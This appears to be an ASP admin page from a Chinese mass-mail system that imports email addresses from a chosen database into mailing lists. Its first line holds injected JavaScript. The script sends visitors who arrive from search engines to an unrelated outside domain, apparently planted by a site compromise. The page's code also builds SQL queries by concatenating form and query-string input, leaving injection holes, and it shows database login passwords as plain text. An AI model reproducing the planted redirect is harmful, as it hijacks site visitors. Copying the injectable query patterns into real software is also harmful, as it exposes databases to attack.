d:\wwwroot\wuchunhua\sendmail\mail_datatomail.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="inc_CheckLogin.asp"-->
002:
<!--#include file="inc/page_cls.asp"-->
003:
<%
server.ScriptTimeout=999
%
>
004:
<html>
005:
<head>
006:
<title>管理</title>
007:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
008:
<link rel="stylesheet" href="inc/style.css">
009:
<script language="javascript" src="inc/js.js"></script>
010:
</head>
011:
<body>
012:
<%
dim page
013:
page=request.QueryString("page")
014:
classid=checkstr(request.QueryString("classid"))
015:
keys=checkstr(request.QueryString("keys"))
016:
dataconnectid=checkstr(request.QueryString("dataconnectid"))
017:
018:
urlQuery="&classid="& classid &"&keys="& keys &"&dataconnectid="& dataconnectid
019:
020:
action=request.QueryString("action")
021:
select case action
022:
case "add" : CheckString("17"):call add
023:
case "addsave" : CheckString("17"):call addsave
024:
case "list" : CheckString("18"):call list
025:
case "upsave" : call upsave
026:
end select
027:
028:
sub list
029:
%
>
030:
<table width="99%" border="0" align="center" cellpadding="3" cellspacing="1" class="tablebk" style="border-collapse: collapse">
031:
<tr>
032:
<td colspan="5" class="table_titlebg">数据库连接列表</td>
033:
</tr>
034:
<tr>
035:
<td colspan="5" align="center" class="table_trbg01"><table width="100%" border="0" cellspacing="0" cellpadding="0">
036:
<tr>
037:
<form name="Form2" method="get" action="?">
038:
<input type="hidden" name="action" value="list">
039:
<td align="right">
040:
查找: <select name="classid">
041:
<option value="1"
<%
=SetSelected(classid,"1")
%
>>所有分类</option>
042:
<%
set rs=conn.execute("select * from [vn_mailclass] order by orders, id desc")
043:
if rs.eof then rs.close:set rs=nothing:alert "● 请选添加邮址分类;","back"
044:
do while not rs.eof
%
>
045:
<option value="
<%
=rs("id")
%
>"
<%
=SetSelected(rs("id"),classid)
%
>>
<%
=rs("classname")
%
></option>
046:
<%
047:
rs.movenext
048:
loop
049:
rs.close:set rs=nothing
050:
%
>
051:
</select> <input name="keys" type="text" id="keys" size="15" maxlength="30" class="INPUT" value="
<%
=keys
%
>">
052:
<input type="submit" name="" value="搜索"></td></form>
053:
</tr>
054:
</table> </td>
055:
</tr>
056:
<form name="Form1" method="post" action="?action=upsave&page=
<%
=page
%
>
<%
=urlQuery
%
>" onSubmit="return confirm('确定要执行此操作吗?\n\n注意:执行删除将不可恢复数据');">
057:
<tr>
058:
<td align="center" class="table_trbg02"><strong>ID</strong></td>
059:
<td align="center" class="table_trbg02"><strong>所属分类</strong></td>
060:
<td align="center" class="table_trbg02"><strong>数据库类型</strong></td>
061:
<td align="center" class="table_trbg02"><strong>服务器或数据库</strong></td>
062:
<td align="center" class="table_trbg02"><strong>选择</strong></td>
063:
</tr>
064:
<%
065:
dim PageMaxSize
066:
PageMaxSize=15 '每页几条
067:
Set MyPage = New XdownPage '创建对象
068:
069:
if keys<>"" then
070:
sql2 = sql2 & " and A.datapath like '%"& keys &"%' "
071:
end if
072:
if isInteger(classid) then sql2 = sql2 & " and A.classid = "& classid &" "
073:
074:
MyPage.GetSQL ="SELECT A.id,A.datatype,A.datapath,A.mssqldataname,B.classname FROM [vn_dataconnect] AS A LEFT JOIN [vn_mailclass] AS B ON A.classid = B.id where 1=1 "& sql2 &" order by A.id desc"
075:
MyPage.PageSize = PageMaxSize '设置每一页的记录条数据为10条
076:
Set rs = MyPage.GetRS() '返回Recordset
077:
078:
If rs.eof Then
079:
response.Write("<tr><td height=""30"" align=""center"" colspan=""5"" class=""table_trbg02"">没有任何信息!</td></tr>")
080:
else
081:
For i=1 To MyPage.PageSize '显示数据
082:
If Not rs.eof Then
083:
%
>
084:
<tr>
085:
<td align="center" class="table_trbg02">
<%
=rs("ID")
%
></td>
086:
<td align="center" class="table_trbg02">
<%
=rs("classname")
%
></td>
087:
<td align="center" class="table_trbg02">
<%
if rs("datatype")="1" then response.Write("ACCESS") else response.Write("MSSQL")
%
></td>
088:
<td align="center" class="table_trbg02">
<%
=rs("datapath")
%
>
<%
if rs("mssqldataname")<>"" then response.Write("("& rs("mssqldataname") &")")
%
></td>
089:
<td align="center" class="table_trbg02"><input type="checkbox" name="id" value="
<%
=rs("ID")
%
>"><input type="hidden" name="hideid" value="
<%
=rs("ID")
%
>"></td>
090:
</tr>
091:
<%
092:
rs.movenext
093:
Else
094:
Exit For
095:
End If
096:
next
097:
End If
098:
%
>
099:
<tr>
100:
<td colspan="5" align="right" class="table_trbg02">
101:
<input type="checkbox" name="chkall" value="on" onClick="CheckAll(this.form,'id')" />
102:
全选
103:
<select name="point">
104:
<option value="">操作方式</option>
105:
<option value="1">删除</option>
106:
</select>
107:
<input type="submit" name="Submit" value="执 行">
108:
109:
<input type="reset" name="Submit2" value="重 写"> </td>
110:
</tr>
111:
</form>
112:
<tr>
113:
<td colspan="5" align="center" class="table_trbg02">
<%
if MyPage.ShowTotalRecord>0 then MyPage.ShowPage()
%
></td>
114:
</tr>
115:
</table>
116:
<%
end sub
117:
118:
sub add
119:
120:
if isInteger(dataconnectid) then
121:
set rs=conn.execute("select * from [vn_dataconnect] where id="& dataconnectid &"")
122:
if not rs.eof then
123:
classid=rs("classid")
124:
datatype=rs("datatype")
125:
datapath=rs("datapath")
126:
mssqldataname=rs("mssqldataname")
127:
dataloginname=rs("dataloginname")
128:
dataloginpwd=rs("dataloginpwd")
129:
datatablename=rs("datatablename")
130:
datamailfield=rs("datamailfield")
131:
datasqlwhere=rs("datasqlwhere")
132:
if datatype="1" then opposite_path=datapath else mssqlserver=datapath
133:
end if
134:
rs.close:set rs=nothing
135:
end if
136:
137:
if CheckStr(request.QueryString("act"))="addsave" then
138:
datatype=GetForm("datatype")
139:
opposite_path=GetForm("opposite_path")
140:
mssqlserver=GetForm("mssqlserver")
141:
mssqldataname=GetForm("mssqldataname")
142:
dataloginname=GetForm("dataloginname")
143:
dataloginpwd=GetForm("dataloginpwd")
144:
datatablename=GetForm("datatablename")
145:
datamailfield=GetForm("datamailfield")
146:
datasqlwhere=GetForm("datasqlwhere")
147:
classid=GetForm("classid")
148:
saveconnect=GetForm("saveconnect")
149:
150:
if not(datatype="1" or datatype="2") then ErrMsg = ErrMsg & "● 请选择数据库类型;\n"
151:
if datatype="1" then
152:
if opposite_path="" or datatablename="" or datamailfield="" then ErrMsg = ErrMsg & "● 信息没有填写完整;\n"
153:
end if
154:
155:
156:
if not isInteger(classid) then ErrMsg = ErrMsg & "● 请选择归属分类;\n"
157:
if saveconnect<>"1" then saveconnect="0"
158:
159:
if ErrMsg="" then
160:
on error resume next
161:
if datatype="1" then
162:
temp_connstr = "Provider = Microsoft.Jet.OLEDB.4.0;Data Source = " & Server.MapPath(opposite_path)
163:
end if
164:
165:
Set temp_conn=Server.CreateObject("ADODB.Connection")
166:
temp_conn.Open temp_connstr
167:
If Err Then
168:
Err.Clear
169:
Set temp_conn = Nothing
170:
ErrMsg = ErrMsg & "● 数据库连接失败,请仔细检查后再提交;\n"
171:
End If
172:
end if
173:
174:
if ErrMsg="" then
175:
on error resume next
176:
if datasqlwhere<>"" then datasqlwhere="where "&datasqlwhere
177:
temp_sqlstr = "select "& datamailfield &" from ["& datatablename &"] "& datasqlwhere &""
178:
set rs=temp_conn.execute(temp_sqlstr)
179:
If Err Then
180:
Err.Clear
181:
Set rs = Nothing
182:
ErrMsg = ErrMsg & "● 查询E-mail字段时错误,请检查表名、邮址字段、条件过滤;\n"
183:
End If
184:
end if
185:
if ErrMsg="" then
186:
temp_urlQuery="&datatype="& server.URLEncode(datatype)
187:
temp_urlQuery=temp_urlQuery &"&opposite_path="& server.URLEncode(opposite_path)
188:
temp_urlQuery=temp_urlQuery &"&mssqlserver="& server.URLEncode(mssqlserver)
189:
temp_urlQuery=temp_urlQuery & "&mssqldataname="& server.URLEncode(mssqldataname)
190:
temp_urlQuery=temp_urlQuery &"&dataloginname="& server.URLEncode(dataloginname)
191:
temp_urlQuery=temp_urlQuery &"&dataloginpwd="& server.URLEncode(dataloginpwd)
192:
temp_urlQuery=temp_urlQuery &"&datatablename="& server.URLEncode(datatablename)
193:
temp_urlQuery=temp_urlQuery &"&datamailfield="& server.URLEncode(datamailfield)
194:
temp_urlQuery=temp_urlQuery &"&datasqlwhere="& server.URLEncode(datasqlwhere)
195:
temp_urlQuery=temp_urlQuery &"&classid="& server.URLEncode(classid)
196:
temp_urlQuery=temp_urlQuery &"&saveconnect="& server.URLEncode(saveconnect)
197:
response.Redirect("?action=addsave"&temp_urlQuery)
198:
end if
199:
if ErrMsg<>"" then response.Write(SetErrMsg(ErrMsg))
200:
end if
201:
%
>
202:
203:
<table width="99%" border="0" align="center" cellpadding="4" cellspacing="1" bordercolordark="#F1F3F5" class="tablebk">
204:
<form name="Form1" method="post" action="?action=add&act=addsave">
205:
<tr>
206:
<td height="15" colspan="2" class="table_titlebg">数据库邮址导入</td>
207:
</tr>
208:
<tr>
209:
<td width="32%" height="15" align="right" class="table_trbg02"><strong>已存连接:</strong></td>
210:
<td class="table_trbg02"><select name="dataconnectid" onChange="window.location='?action=add&dataconnectid=' + this.value"><option value="">新的数据库连接</option>
211:
<%
set rs=conn.execute("select * from [vn_dataconnect] order by id desc")
212:
do while not rs.eof
%
>
213:
<option value="
<%
=rs("id")
%
>"
<%
=SetSelected(rs("id"),dataconnectid)
%
>>
<%
if rs("datatype")=1 then
214:
response.Write("ACCESS("&rs("datapath")&")")
215:
else
216:
response.Write("MSSQL("&rs("datapath")&"--"&rs("mssqldataname")&")")
217:
end if
218:
%
></option>
219:
<%
220:
rs.movenext
221:
loop
222:
rs.close:set rs=nothing
223:
%
>
224:
</select></td>
225:
</tr>
226:
<tr>
227:
<td height="15" align="right" class="table_trbg02"><strong>数 据 库:</strong></td>
228:
<td class="table_trbg02"><input type="radio" name="datatype" value="1" onClick="javascript:body_access.style.display='block';body_mssql.style.display='none';"
<%
if datatype="" or datatype="1" then response.Write(" checked=""checked""")
%
>>
229:
ACCESS</td>
230:
</tr>
231:
<tbody id="body_access">
232:
<tr>
233:
<td height="15" align="right" class="table_trbg02"><strong>相对路径:</strong></td>
234:
<td class="table_trbg02"><input name="opposite_path" type="text" class="input" size="40" value="
<%
=opposite_path
%
>"><span class="red">*</span>Access数据库必须同主机</td>
235:
</tr>
236:
</tbody>
237:
<tbody id="body_mssql" style="display:none;">
238:
</tbody>
239:
<tr>
240:
<td height="15" align="right" class="table_trbg02"><strong>登陆账户:</strong></td>
241:
<td class="table_trbg02"><input name="dataloginname" type="text" class="input" size="40" value="
<%
=dataloginname
%
>">Access没有设定用户名请留空</td>
242:
</tr>
243:
<tr>
244:
<td height="15" align="right" class="table_trbg02"><strong>登陆密码:</strong></td>
245:
<td class="table_trbg02"><input name="dataloginpwd" type="text" class="input" size="40" value="
<%
=dataloginpwd
%
>">Access没有设定密码请留空</td>
246:
</tr>
247:
<tr>
248:
<td height="15" align="right" class="table_trbg02"><strong>数据表名:</strong></td>
249:
<td class="table_trbg02"><input name="datatablename" type="text" class="input" size="40" value="
<%
=datatablename
%
>"><span class="red">*</span>数据库的邮址所在表的名称</td>
250:
</tr>
251:
<tr>
252:
<td height="15" align="right" class="table_trbg02"><strong>邮址字段:</strong></td>
253:
<td class="table_trbg02"><input name="datamailfield" type="text" class="input" size="40" value="
<%
=datamailfield
%
>"><span class="red">*</span>E-mail地址的字段名称</td>
254:
</tr>
255:
<tr>
256:
<td height="15" align="right" class="table_trbg02"><strong>条件过滤:</strong></td>
257:
<td class="table_trbg02"><input name="datasqlwhere" type="text" class="input" size="40" value="
<%
=datasqlwhere
%
>">根据情况配制,无需加where,允许空</td>
258:
</tr>
259:
<tr>
260:
<td height="15" align="right" class="table_trbg02"><strong>归属分类:</strong></td>
261:
<td class="table_trbg02"><select name="classid">
262:
<%
set rs=conn.execute("select * from [vn_mailclass] order by orders, id desc")
263:
if rs.eof then rs.close:set rs=nothing:alert "● 请选添加邮址分类;","back"
264:
do while not rs.eof
%
>
265:
<option value="
<%
=rs("id")
%
>"
<%
=SetSelected(rs("id"),classid)
%
>>
<%
=rs("classname")
%
></option>
266:
<%
267:
rs.movenext
268:
loop
269:
rs.close:set rs=nothing
270:
%
>
271:
</select><span class="red">*</span></td>
272:
</tr>
273:
<tr>
274:
<td height="15" align="right" class="table_trbg02"><strong>保存连接:</strong></td>
275:
<td class="table_trbg02"><input name="saveconnect" type="checkbox" id="saveconnect" value="1"
<%
if dataconnectid="" then response.Write(" checked")
%
>>
276:
是否保存此连接以后快速使用</td>
277:
</tr>
278:
<tr>
279:
<td height="35" colspan="2" align="center" class="table_trbg02"><input type="submit" name="Submit" value=" 添加 ">
280:
281:
<input type="reset" name="Submit" value=" 重置 "></td>
282:
</tr>
283:
</form>
284:
</table>
285:
<script language="javascript">
286:
var datatype="
<%
if datatype="" or datatype="1" then response.Write("1") else response.Write("2")
%
>";
287:
if(datatype=="1"){
288:
body_access.style.display='block';
289:
body_mssql.style.display='none';
290:
}else{
291:
body_access.style.display='none';
292:
body_mssql.style.display='block';
293:
}
294:
</script>
295:
<%
296:
end sub
297:
sub addsave
298:
datatype=checkstr(request.QueryString("datatype"))
299:
opposite_path=checkstr(request.QueryString("opposite_path"))
300:
mssqlserver=checkstr(request.QueryString("mssqlserver"))
301:
mssqldataname=checkstr(request.QueryString("mssqldataname"))
302:
dataloginname=checkstr(request.QueryString("dataloginname"))
303:
dataloginpwd=checkstr(request.QueryString("dataloginpwd"))
304:
datatablename=checkstr(request.QueryString("datatablename"))
305:
datamailfield=checkstr(request.QueryString("datamailfield"))
306:
datasqlwhere=checkstr(request.QueryString("datasqlwhere"))
307:
classid=checkstr(request.QueryString("classid"))
308:
saveconnect=checkstr(request.QueryString("saveconnect"))
309:
310:
if not(datatype="1" or datatype="2") then ErrMsg = ErrMsg & "● 请选择数据库类型;\n"
311:
if datatype="1" then
312:
if opposite_path="" or datatablename="" or datamailfield="" then ErrMsg = ErrMsg & "● 信息没有填写完整;\n"
313:
end if
314:
315:
316:
if not isInteger(classid) then ErrMsg = ErrMsg & "● 请选择归属分类;\n"
317:
if saveconnect<>"1" then saveconnect="0"
318:
319:
if ErrMsg="" then
320:
'on error resume next
321:
if datatype="1" then
322:
temp_connstr = "Provider = Microsoft.Jet.OLEDB.4.0;Data Source = " & Server.MapPath(opposite_path)
323:
end if
324:
Set temp_conn=Server.CreateObject("ADODB.Connection")
325:
temp_conn.Open temp_connstr
326:
If Err Then
327:
Err.Clear
328:
Set temp_conn = Nothing
329:
ErrMsg = ErrMsg & "● 数据库连接失败,请仔细检查后再提交;\n"
330:
End If
331:
end if
332:
333:
if ErrMsg="" then
334:
'on error resume next
335:
if datasqlwhere<>"" then datasqlwhere="where "&datasqlwhere
336:
temp_sqlstr = "select "& datamailfield &" from ["& datatablename &"] "& datasqlwhere &""
337:
set rs2=temp_conn.execute(temp_sqlstr)
338:
If Err Then
339:
Err.Clear
340:
Set rs2 = Nothing
341:
ErrMsg = ErrMsg & "● 查询E-mail字段时错误,请检查表名、邮址字段、条件过滤;\n"
342:
End If
343:
end if
344:
345:
if ErrMsg="" and saveconnect="1" then
346:
if datatype="1" then datapath=opposite_path else datapath=mssqlserver
347:
conn.execute("insert into [vn_dataconnect](classid,datatype,datapath,mssqldataname,dataloginname,dataloginpwd,datatablename,datamailfield,datasqlwhere)values("& classid &","& datatype &",'"& datapath &"','"& mssqldataname &"','"& dataloginname &"','"& dataloginpwd &"','"& datatablename &"','"& datamailfield &"','"& datasqlwhere &"')")
348:
end if
349:
350:
if ErrMsg="" Then
351:
i=0
352:
do while not rs2.eof
353:
temp_email=rs2(0)
354:
if IsValidEmail(temp_email) then
355:
'检测重复
356:
set rs=conn.execute("select id from [vn_mailaddress] where mailaddress='"& temp_email &"' and classid="& classid &"")
357:
if not rs.eof then
358:
repeat_mailcontent = repeat_mailcontent & "," & temp_email '重复就相加重复的email地址
359:
Else
360:
i=i+1
361:
succeed_mailcontent = succeed_mailcontent & "," & temp_email '重复就相加重复的email地址
362:
conn.execute("insert into [vn_mailaddress](classid,mailaddress)values("& classid &",'"& temp_email &"')") '不重复就入库
363:
end if
364:
rs.close:set rs=nothing
365:
else
366:
err_mailcontent = err_mailcontent & "," & temp_email
367:
end if
368:
rs2.movenext
369:
loop
370:
rs2.close:set rs2=nothing
371:
372:
if repeat_mailcontent<>"" then repeat_mailcontent = mid(repeat_mailcontent,2)
373:
if err_mailcontent<>"" then err_mailcontent = mid(err_mailcontent,2)
374:
if succeed_mailcontent<>"" then succeed_mailcontent = mid(succeed_mailcontent,2)
375:
end if
376:
if ErrMsg<>"" then response.Write(SetErrMsg_Back(ErrMsg)):response.End()
377:
%
>
378:
<table width="99%" border="0" align="center" cellpadding="4" cellspacing="1" bordercolordark="#F1F3F5" class="tablebk">
379:
<form name="Form1" method="post" action="?action=edit&act=editsave&id=
<%
=id
%
>&page=
<%
=page
%
>
<%
=urlQuery
%
>">
380:
<tr>
381:
<td height="15" colspan="3" class="table_titlebg">邮址导入状态</td>
382:
</tr>
383:
<tr>
384:
<td width="33%" height="15" align="center" class="table_trbg02">成功的邮址(已入库)</td>
385:
<td width="33%" align="center" class="table_trbg02">失败的邮址</td>
386:
<td width="33%" align="center" class="table_trbg02">重复的邮址</td>
387:
</tr>
388:
<tr>
389:
<td height="15" align="center" class="table_trbg02"><textarea name="textarea1" cols="26" rows="28" style="width:85%">
<%
=replace(succeed_mailcontent,",",vbcrlf)
%
></textarea></td>
390:
<td align="center" class="table_trbg02"><textarea name="textarea2" cols="26" rows="28" style="width:85%">
<%
=replace(err_mailcontent,",",vbcrlf)
%
></textarea></td>
391:
<td align="center" class="table_trbg02"><textarea name="textarea3" cols="26" rows="28" style="width:85%">
<%
=replace(repeat_mailcontent,",",vbcrlf)
%
></textarea></td>
392:
</tr>
393:
<tr>
394:
<td height="35" colspan="3" align="center" class="table_trbg02"><input type="button" name="Submit22" onClick="javascript:window.location='?action=add';" value="返回继续添加"></td>
395:
</tr>
396:
</form>
397:
</table>
398:
399:
<%
end sub
400:
sub upsave
401:
CheckString("19")
402:
point=GetForm("point")
403:
if point="" then alert "您没有指定操作方式!","back"
404:
405:
if point="1" then
406:
id=GetForm("id")
407:
if id="" then alert "请选择要删除的信息!","back"
408:
conn.execute("delete From [vn_dataconnect] where id in ("& id &")")
409:
alert "所选信息删除成功!","?action=list&page="& page & urlQuery
410:
end if
411:
end sub
412:
%
>
413:
</body>
414:
</html>
415:
416: